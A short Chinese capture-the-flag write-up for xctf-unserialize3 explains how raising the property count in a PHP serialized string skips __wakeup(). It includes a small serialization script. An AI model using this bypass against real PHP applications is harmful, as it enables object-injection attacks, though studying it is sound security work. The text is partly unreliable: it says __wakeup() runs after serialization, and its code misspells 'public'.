__wakeup():將在序列化之后立即被調用。
漏洞原理:當反序列化字符串中,表示屬性個數的值大於其真實值,則跳過__wakeup()執行。
參考題目:xctf-unserialize3
對於該題,先可以看到類xctf中有flag變量,並調用了__wakeup(),則考慮實例化xctf類並將其變量序列化。並猜測意圖為將序列化結果輸入在?code=后進行POST請求。
<?php class xctf{ public $flag = '111'; pubilc function __wakeup(){ exit('bad requests'); } } $a = new xctf(); echo(serialize($a)); ?> // 序列化輸出結果為: // O:4:"xctf":1:{s:4:"flag";s:3:"111";}
正常結果輸入時,會執行__wakeup(),從而輸出'bad requests',並退出腳本,因此利用漏洞繞過__wakeup()。
將序列化字符串中代表變量個數的數字改為大於其真實值的數字,並進行POST請求,得到結果。
得到結果。